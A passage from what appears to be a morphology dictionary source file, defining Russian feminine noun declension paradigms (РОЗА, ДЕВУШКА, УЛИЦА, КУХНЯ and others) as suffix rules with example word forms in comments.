ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:МН { "%-1%+АХ" } :: flexer "pl" // МАМАХ } paradigm ЦВЕТАЕВА, Сущ_2006_Фамилия : СУЩЕСТВИТЕЛЬНОЕ for "(.+)А" { РОД:ЖЕН ОДУШ:ОДУШ ПЕРЕЧИСЛИМОСТЬ:НЕТ CharCasing:FirstCapitalized ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // ЦВЕТАЕВА ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "%-1%+ОЙ" } // ЦВЕТАЕВОЙ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ОЙ" } // ЦВЕТАЕВОЙ ПАДЕЖ:ВИН ЧИСЛО:ЕД { "%-1%+У" } // ЦВЕТАЕВУ ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "%-1%+ОЙ" } // ЦВЕТАЕВОЙ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "%-1%+ОЙ" } // ЦВЕТАЕВОЙ } paradigm РОЗА, Сущ_2007 : СУЩЕСТВИТЕЛЬНОЕ for "(.+)А" { РОД:ЖЕН ОДУШ:НЕОДУШ ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // РОЗА ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "%-1%+Ы" } // РОЗЫ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ОЙ" } // РОЗОЙ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ОЮ" } // РОЗОЮ ПАДЕЖ:ВИН ЧИСЛО:ЕД { "%-1%+У" } // РОЗУ ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "%-1%+Е" } // РОЗЕ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "%-1%+Е" } // РОЗЕ ПАДЕЖ:(ИМ) ЧИСЛО:МН { "%-1%+Ы" } :: flexer "pl" // РОЗЫ ПАДЕЖ:(РОД) ЧИСЛО:МН { "%-1" } :: flexer "pl" // РОЗ ПАДЕЖ:ТВОР ЧИСЛО:МН { "%-1%+АМИ" } :: flexer "pl" // РОЗАМИ ПАДЕЖ:ВИН ЧИСЛО:МН { "%-1%+Ы" } :: flexer "pl" // РОЗЫ ПАДЕЖ:ДАТ ЧИСЛО:МН { "%-1%+АМ" } :: flexer "pl" // РОЗАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:МН { "%-1%+АХ" } :: flexer "pl" // РОЗАХ } paradigm СУХОСТЬ, Сущ_2008 : СУЩЕСТВИТЕЛЬНОЕ for "(.+)ОСТЬ" { РОД:ЖЕН ОДУШ:НЕОДУШ ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // СУХОСТЬ ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "%-1%+И" } // СУХОСТИ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%+Ю" } // СУХОСТЬЮ ПАДЕЖ:ВИН ЧИСЛО:ЕД { "" } // СУХОСТЬ ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "%-1%+И" } // СУХОСТИ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "%-1%+И" } // СУХОСТИ ПАДЕЖ:(ИМ) ЧИСЛО:МН { "%-1%+И" } :: flexer "pl" // СУХОСТИ ПАДЕЖ:(РОД) ЧИСЛО:МН { "%-1%+ЕЙ" } :: flexer "pl" // СУХОСТЕЙ ПАДЕЖ:ТВОР ЧИСЛО:МН { "%-1%+ЯМИ" } :: flexer "pl" // СУХОСТЯМИ ПАДЕЖ:ВИН ЧИСЛО:МН { "%-1%+И" } :: flexer "pl" // СУХОСТИ ПАДЕЖ:ДАТ ЧИСЛО:МН { "%-1%+ЯМ" } :: flexer "pl" // СУХОСТЯМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:МН { "%-1%+ЯХ" } :: flexer "pl" // СУХОСТЯХ } paradigm ХАРЯ, Сущ_2009 : СУЩЕСТВИТЕЛЬНОЕ for "(.+)\\@бЯ" { РОД:ЖЕН ОДУШ:НЕОДУШ ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // ХАРЯ ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "%-1%+И" } // ХАРИ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ЕЙ" } // ХАРЕЙ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ЕЮ" } // ХАРЕЮ ПАДЕЖ:ВИН ЧИСЛО:ЕД { "%-1%+Ю" } // ХАРЮ ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "%-1%+Е" } // ХАРЕ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "%-1%+Е" } // ХАРЕ ПАДЕЖ:(ИМ) ЧИСЛО:МН { "%-1%+И" } :: flexer "pl" // ХАРИ ПАДЕЖ:(РОД) ЧИСЛО:МН { "%-1%+Ь" } :: flexer "pl" // ХАРЬ ПАДЕЖ:ТВОР ЧИСЛО:МН { "%-1%+ЯМИ" } :: flexer "pl" // ХАРЯМИ ПАДЕЖ:ВИН ЧИСЛО:МН { "%-1%+И" } :: flexer "pl" // ХАРИ ПАДЕЖ:ДАТ ЧИСЛО:МН { "%-1%+ЯМ" } :: flexer "pl" // ХАРЯМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:МН { "%-1%+ЯХ" } :: flexer "pl" // ХАРЯХ } paradigm ГУСЫНЯ, Сущ_2009_одуш : СУЩЕСТВИТЕЛЬНОЕ for "(.+)\\@бЯ" { РОД:ЖЕН ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // ГУСЫНЯ ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "%-1%+И" } // ГУСЫНИ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ЕЙ" } // ГУСЫНЕЙ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ЕЮ" } // ГУСЫНЕЮ ПАДЕЖ:ВИН ЧИСЛО:ЕД { "%-1%+Ю" } // ГУСЫНЮ ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "%-1%+Е" } // ГУСЫНЕ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "%-1%+Е" } // ГУСЫНЕ ПАДЕЖ:(ИМ) ЧИСЛО:МН { "%-1%+И" } // ГУСЫНИ ПАДЕЖ:(РОД) ЧИСЛО:МН { "%-1%+Ь" } // ГУСЫНЬ ПАДЕЖ:ТВОР ЧИСЛО:МН { "%-1%+ЯМИ" } // ГУСЫНЯМИ ПАДЕЖ:ВИН ЧИСЛО:МН { "%-1%+Ь" } // ГУСЫНЬ ПАДЕЖ:ДАТ ЧИСЛО:МН { "%-1%+ЯМ" } // ГУСЫНЯМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:МН { "%-1%+ЯХ" } // ГУСЫНЯХ } paradigm ОЛЯ, Сущ_2009_имя : СУЩЕСТВИТЕЛЬНОЕ for "(.+)Я" { РОД:ЖЕН ПЕРЕЧИСЛИМОСТЬ:НЕТ ОДУШ:ОДУШ CharCasing:FirstCapitalized ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // Оля ПАДЕЖ:ЗВАТ ЧИСЛО:ЕД { "%-1%+Ь" } :: flexer "vocative" // Оль ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "%-1%+И" } // Оли ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ЕЙ" } // Олей ПАДЕЖ:ВИН ЧИСЛО:ЕД { "%-1%+Ю" } // Олю ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "%-1%+Е" } // Оле ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "%-1%+Е" } // Оле } paradigm ЭМИССИЯ, Сущ_2010 : СУЩЕСТВИТЕЛЬНОЕ for "(.+)[ИЬ]Я" { РОД:ЖЕН ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:НЕОДУШ ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // ЭМИССИЯ ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "%-1%+И" } // ЭМИССИИ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ЕЙ" } // ЭМИССИЕЙ ПАДЕЖ:ВИН ЧИСЛО:ЕД { "%-1%+Ю" } // ЭМИССИЮ ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "%-1%+И" } // ЭМИССИИ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "%-1%+И" } // ЭМИССИИ ПАДЕЖ:(ИМ) ЧИСЛО:МН { "%-1%+И" } :: flexer "pl" // ЭМИССИИ ПАДЕЖ:(РОД) ЧИСЛО:МН { "%-1%+Й" } :: flexer "pl" // ЭМИССИЙ ПАДЕЖ:ТВОР ЧИСЛО:МН { "%+МИ" } :: flexer "pl" // ЭМИССИЯМИ ПАДЕЖ:ВИН ЧИСЛО:МН { "%-1%+И" } :: flexer "pl" // ЭМИССИИ ПАДЕЖ:ДАТ ЧИСЛО:МН { "%+М" } :: flexer "pl" // ЭМИССИЯМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:МН { "%+Х" } :: flexer "pl" // ЭМИССИЯХ } // с дополнительной формой творительного падежа paradigm ИСТОРИЯ, Сущ_2010_2 : СУЩЕСТВИТЕЛЬНОЕ { РОД:ЖЕН ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:НЕОДУШ ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // ИСТОРИЯ ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "%-1%+И" } // ИСТОРИИ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ЕЙ" } // ИСТОРИЕЙ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ЕЮ" } // ИСТОРИЕЙ ПАДЕЖ:ВИН ЧИСЛО:ЕД { "%-1%+Ю" } // ИСТОРИЮ ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "%-1%+И" } // ИСТОРИИ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "%-1%+И" } // ИСТОРИИ ПАДЕЖ:(ИМ) ЧИСЛО:МН { "%-1%+И" } :: flexer "pl" // ИСТОРИИ ПАДЕЖ:(РОД) ЧИСЛО:МН { "%-1%+Й" } :: flexer "pl" // ИСТОРИЙ ПАДЕЖ:ТВОР ЧИСЛО:МН { "%+МИ" } :: flexer "pl" // ИСТОРИЯМИ ПАДЕЖ:ВИН ЧИСЛО:МН { "%-1%+И" } :: flexer "pl" // ИСТОРИИ ПАДЕЖ:ДАТ ЧИСЛО:МН { "%+М" } :: flexer "pl" // ИСТОРИЯМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:МН { "%+Х" } :: flexer "pl" // ИСТОРИЯХ } paradigm /*МЫШЬ*/ Сущ_2011_одуш : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+И" } // МЫШЬ МЫШИ ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+И" "%-1%+ЕЙ" } // МЫШИ МЫШЕЙ ПАДЕЖ:ТВОР ЧИСЛО { "%+Ю" "%-1%+АМИ" } // МЫШЬЮ МЫШАМИ ПАДЕЖ:ВИН ЧИСЛО { "" "%-1%+ЕЙ" } // МЫШЬ МЫШЕЙ ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+И" "%-1%+АМ" } // МЫШИ МЫШАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+И" "%-1%+АХ" } // МЫШИ МЫШАХ } paradigm /*НОЧЬ*/ Сущ_2011_неодуш : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+И" } // НОЧЬ НОЧИ ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+И" "%-1%+ЕЙ" } // НОЧИ НОЧЕЙ ПАДЕЖ:ТВОР ЧИСЛО { "%+Ю" "%-1%+АМИ" } // НОЧЬЮ НОЧАМИ ПАДЕЖ:ВИН ЧИСЛО { "" "%-1%+И" } // НОЧЬ НОЧЕЙ ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+И" "%-1%+АМ" } // НОЧИ НОЧАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+И" "%-1%+АХ" } // НОЧИ НОЧАХ } paradigm ДЕВУШКА, Сущ_2013 : СУЩЕСТВИТЕЛЬНОЕ for "(.+)[ЧШЩ]КА" { РОД:ЖЕН ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // ДЕВУШКА ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "%-1%+И" } // ДЕВУШКИ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ОЙ" } // ДЕВУШКОЙ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ОЮ" } // ДЕВУШКОЮ ПАДЕЖ:ВИН ЧИСЛО:ЕД { "%-1%+У" } // ДЕВУШКУ ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "%-1%+Е" } // ДЕВУШКЕ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "%-1%+Е" } // ДЕВУШКЕ ПАДЕЖ:(ИМ) ЧИСЛО:МН { "%-1%+И" } :: flexer "pl" // ДЕВУШКИ ПАДЕЖ:(РОД) ЧИСЛО:МН { "%-2%+ЕК" } :: flexer "pl" // ДЕВУШЕК ПАДЕЖ:ТВОР ЧИСЛО:МН { "%-1%+АМИ" } :: flexer "pl" // ДЕВУШКАМИ ПАДЕЖ:ВИН ЧИСЛО:МН { "%-2%+ЕК" } :: flexer "pl" // ДЕВУШЕК ПАДЕЖ:ДАТ ЧИСЛО:МН { "%-1%+АМ" } :: flexer "pl" // ДЕВУШКАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:МН { "%-1%+АХ" } :: flexer "pl" // ДЕВУШКАХ } paradigm ДВУШКА, Сущ_2014 : СУЩЕСТВИТЕЛЬНОЕ for "(.+)\\@бКА" { РОД:ЖЕН ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:НЕОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+И" } // ДВУШКА ДВУШКИ ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+И" "%-2%+ЕК" } // ДВУШКИ ДВУШЕК ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+ОЙ" "%-1%+АМИ" } // ДВУШКОЙ ДВУШКАМИ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ОЮ" } // ДВУШКОЮ ПАДЕЖ:ВИН ЧИСЛО { "%-1%+У" "%-1%+И" } // ДВУШКУ ДВУШКИ ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+Е" "%-1%+АМ" } // ДВУШКЕ ДВУШКАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%-1%+АХ" } // ДВУШКЕ ДВУШКАХ } paradigm РУКА, Сущ_2015 : СУЩЕСТВИТЕЛЬНОЕ for "(.+)[КХ]А" { РОД:ЖЕН ОДУШ:НЕОДУШ ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // РУКА ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "%-1%+И" } // РУКИ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ОЙ" } // РУКОЙ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ОЮ" } // РУКОЮ ПАДЕЖ:ВИН ЧИСЛО:ЕД { "%-1%+У" } // РУКУ ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "%-1%+Е" } // РУКЕ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "%-1%+Е" } // РУКЕ ПАДЕЖ:(ИМ) ЧИСЛО:МН { "%-1%+И" } :: flexer "pl" // РУКИ ПАДЕЖ:(РОД) ЧИСЛО:МН { "%-1" } :: flexer "pl" // РУК ПАДЕЖ:ТВОР ЧИСЛО:МН { "%+МИ" } :: flexer "pl" // РУКАМИ ПАДЕЖ:ВИН ЧИСЛО:МН { "%-1%+И" } :: flexer "pl" // РУКИ ПАДЕЖ:ДАТ ЧИСЛО:МН { "%+М" } :: flexer "pl" // РУКАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:МН { "%+Х" } :: flexer "pl" // РУКАХ } paradigm СНОХА, Сущ_2015a : СУЩЕСТВИТЕЛЬНОЕ for "(.+)[КХ]А" { РОД:ЖЕН ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // СНОХА ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "%-1%+И" } // СНОХИ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ОЙ" } // СНОХОЙ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ОЮ" } // СНОХОЮ ПАДЕЖ:ВИН ЧИСЛО:ЕД { "%-1%+У" } // СНОХУ ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "%-1%+Е" } // СНОХЕ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "%-1%+Е" } // СНОХЕ ПАДЕЖ:(ИМ) ЧИСЛО:МН { "%-1%+И" } :: flexer "pl" // СНОХИ ПАДЕЖ:(РОД) ЧИСЛО:МН { "%-1" } :: flexer "pl" // СНОХ ПАДЕЖ:ТВОР ЧИСЛО:МН { "%+МИ" } :: flexer "pl" // СНОХАМИ ПАДЕЖ:ВИН ЧИСЛО:МН { "%-1" } :: flexer "pl" // СНОХ ПАДЕЖ:ДАТ ЧИСЛО:МН { "%+М" } :: flexer "pl" // СНОХАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:МН { "%+Х" } :: flexer "pl" // СНОХАХ } paradigm /*ДЕНЬГА*/ Сущ_2016 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+И" } // ДЕНЬГА ДЕНЬГИ ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+И" "%-3%+ЕГ" } // ДЕНЬГИ ДЕНЕГ ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+ОЙ" "%+МИ" } // ДЕНЬГОЙ ДЕНЬГАМИ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ОЮ" } // ДЕНЬГОЮ ПАДЕЖ:ВИН ЧИСЛО { "%-1%+У" "%-1%+И" } // ДЕНЬГУ ДЕНЬГИ ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+Е" "%+М" } // ДЕНЬГЕ ДЕНЬГАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%+Х" } // ДЕНЬГЕ ДЕНЬГАХ } paradigm /*ЖЕНА*/ Сущ_2017 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-3%+ЁНЫ" } // ЖЕНА ЖЁНЫ ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+Ы" "%-3%+ЁН" } // ЖЕНЫ ЖЁН ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+ОЙ" "%-3%+ЁНАМИ" } // ЖЕНОЙ ЖЁНАМИ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ОЮ" } // ЖЕНОЮ ПАДЕЖ:ВИН ЧИСЛО { "%-1%+У" "%-3%+ЁН" } // ЖЕНУ ЖЁН ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+Е" "%-3%+ЁНАМ" } // ЖЕНЕ ЖЁНАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%-3%+ЁНАХ" } // ЖЕНЕ ЖЁНАХ } paradigm УЛИЦА, Сущ_2018 : СУЩЕСТВИТЕЛЬНОЕ for "(.+)ЦА" { ОДУШ:НЕОДУШ ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // УЛИЦА ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "%-1%+Ы" } // УЛИЦЫ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ЕЙ" } // УЛИЦЕЙ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ЕЮ" } // УЛИЦЕЮ ПАДЕЖ:ВИН ЧИСЛО:ЕД { "%-1%+У" } // УЛИЦУ ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "%-1%+Е" } // УЛИЦЕ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "%-1%+Е" } // УЛИЦЕ ПАДЕЖ:(ИМ) ЧИСЛО:МН { "%-1%+Ы" } :: flexer "pl" // УЛИЦЫ ПАДЕЖ:(РОД) ЧИСЛО:МН { "%-1" } :: flexer "pl" // УЛИЦ ПАДЕЖ:ТВОР ЧИСЛО:МН { "%+МИ" } :: flexer "pl" // УЛИЦАМИ ПАДЕЖ:ВИН ЧИСЛО:МН { "%-1%+Ы" } :: flexer "pl" // УЛИЦЫ ПАДЕЖ:ДАТ ЧИСЛО:МН { "%+М" } :: flexer "pl" // УЛИЦАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:МН { "%+Х" } :: flexer "pl" // УЛИЦАХ } paradigm /*ПТИЦА*/ Сущ_2018a : СУЩЕСТВИТЕЛЬНОЕ { ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+Ы" } // ПТИЦА ПТИЦЫ ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+Ы" "%-1" } // ПТИЦЫ ПТИЦ ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+ЕЙ" "%+МИ" } // ПТИЦЕЙ ПТИЦАМИ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ЕЮ" } // ПТИЦЕЮ ПАДЕЖ:ВИН ЧИСЛО { "%-1%+У" "%-1" } // ПТИЦУ ПТИЦ ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+Е" "%+М" } // ПТИЦЕ ПТИЦАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%+Х" } // ПТИЦЕ ПТИЦАХ } paradigm /*НАТАША*/ Сущ_2018_2a : СУЩЕСТВИТЕЛЬНОЕ { ОДУШ:ОДУШ РОД:ЖЕН ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // НАТАША ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "%-1%+И" } // НАТАШИ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ЕЙ" } // НАТАШЕЙ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ЕЮ" } // НАТАШЕЮ ПАДЕЖ:ВИН ЧИСЛО:ЕД { "%-1%+У" } // НАТАШУ ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "%-1%+Е" } // НАТАШЕ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "%-1%+Е" } // НАТАШЕ ПАДЕЖ:(ИМ) ЧИСЛО:МН { "%-1%+И" } :: flexer "pl" // БАНКИРШИ ПАДЕЖ:(РОД) ЧИСЛО:МН { "%-1" } :: flexer "pl" // БАНКИРШ ПАДЕЖ:ТВОР ЧИСЛО:МН { "%-1%+АМИ" } :: flexer "pl" // БАНКИРШАМИ ПАДЕЖ:ВИН ЧИСЛО:МН { "%-1" } :: flexer "pl" // БАНКИРШ ПАДЕЖ:ДАТ ЧИСЛО:МН { "%-1%+АМ" } :: flexer "pl" // БАНКИРШАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:МН { "%-1%+АХ" } :: flexer "pl" // БАНКИРШАХ } paradigm /*КУХНЯ*/ Сущ_2019 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+И" } // КУХНЯ КУХНИ ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+И" "%-2%+ОНЬ" } // КУХНИ КУХОНЬ ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+ЕЙ" "%-1%+ЯМИ" } // КУХНЕЙ КУХНЯМИ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ЕЮ" } // КУХНЕЮ ПАДЕЖ:ВИН ЧИСЛО { "%-1%+Ю" "%-1%+И" } // КУХНЮ КУХНИ ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+Е" "%-1%+ЯМ" } // КУХНЕ КУХНЯМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%-1%+ЯХ" } // КУХНЕ КУХНЯХ } paradigm ТРУБКА, Сущ_2020 : СУЩЕСТВИТЕЛЬНОЕ for "(.+)\\@бКА" { РОД:ЖЕН ОДУШ:НЕОДУШ ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // ТРУБКА ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "%-1%+И" } // ТРУБКИ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ОЙ" } // ТРУБКОЙ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ОЮ" } // ТРУБКОЮ ПАДЕЖ:ВИН ЧИСЛО:ЕД { "%-1%+У" } // ТРУБКУ ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "%-1%+Е" } // ТРУБКЕ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "%-1%+Е" } // ТРУБКЕ ПАДЕЖ:(ИМ) ЧИСЛО:МН { "%-1%+И" } :: flexer "pl" // ТРУБКИ ПАДЕЖ:(РОД) ЧИСЛО:МН { "%-2%+ОК" } :: flexer "pl" // ТРУБОК ПАДЕЖ:ТВОР ЧИСЛО:МН { "%+МИ" } :: flexer "pl" // ТРУБКАМИ ПАДЕЖ:ВИН ЧИСЛО:МН { "%-1%+И" } :: flexer "pl" // ТРУБКИ ПАДЕЖ:ДАТ ЧИСЛО:МН { "%-1%+АМ" } :: flexer "pl" // ТРУБКАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:МН { "%-1%+АХ" } :: flexer "pl" // ТРУБКАХ } paradigm /*ПРИРОДА*/ Сущ_2021 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // ПРИРОДА ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "%-1%+Ы" } // ПРИРОДЫ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ОЙ"} // ПРИРОДОЙ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ОЮ"} // ПРИРОДОЮ ПАДЕЖ:ВИН ЧИСЛО:ЕД { "%-1%+У" } // ПРИРОДУ ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "%-1%+Е" } // ПРИРОДЕ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "%-1%+Е" } // ПРИРОДЕ } paradigm /*ЧУШЬ*/ Сущ_2022 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // ЧУШЬ ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "%-1%+И" } // ЧУШИ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%+Ю" } // ЧУШЬЮ ПАДЕЖ:ВИН ЧИСЛО:ЕД { "" } // ЧУШЬ ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "%-1%+И" } // ЧУШИ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "%-1%+И" } // ЧУШИ } paradigm /*ВАННАЯ*/ Сущ_2023 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-2%+ЫЕ" } // ВАННАЯ ВАННЫЕ ПАДЕЖ:(РОД) ЧИСЛО { "%-2%+ОЙ" "%-2%+ЫХ" } // ВАННОЙ ВАННЫХ ПАДЕЖ:ТВОР ЧИСЛО { "%-2%+ОЙ" "%-2%+ЫМИ" } // ВАННОЙ ВАННЫМИ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-2%+ОЮ" } // ВАННОЮ ПАДЕЖ:ВИН ЧИСЛО { "%-2%+УЮ" "%-2%+ЫЕ" } // ВАННУЮ ВАННЫЕ ПАДЕЖ:ДАТ ЧИСЛО { "%-2%+ОЙ" "%-2%+ЫМ" } // ВАННОЙ ВАННЫМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-2%+ОЙ" "%-2%+ЫХ" } // ВАННОЙ ВАННЫХ } paradigm /*ПРИХОЖАЯ*/ Сущ_2024 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-2%+ИЕ" } // ПРИХОЖАЯ ПРИХОЖИЕ ПАДЕЖ:(РОД) ЧИСЛО { "%-2%+ЕЙ" "%-2%+ИХ" } // ПРИХОЖЕЙ ПРИХОЖИХ ПАДЕЖ:ТВОР ЧИСЛО { "%-2%+ЕЙ" "%-2%+ИМИ" } // ПРИХОЖЕЙ ПРИХОЖИМИ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-2%+ЕЮ" } // ПРИХОЖЕЮ ПАДЕЖ:ВИН ЧИСЛО { "%-2%+УЮ" "%-2%+ИЕ" } // ПРИХОЖУЮ ПРИХОЖИЕ ПАДЕЖ:ДАТ ЧИСЛО { "%-2%+ЕЙ" "%-2%+ИМ" } // ПРИХОЖЕЙ ПРИХОЖИМ 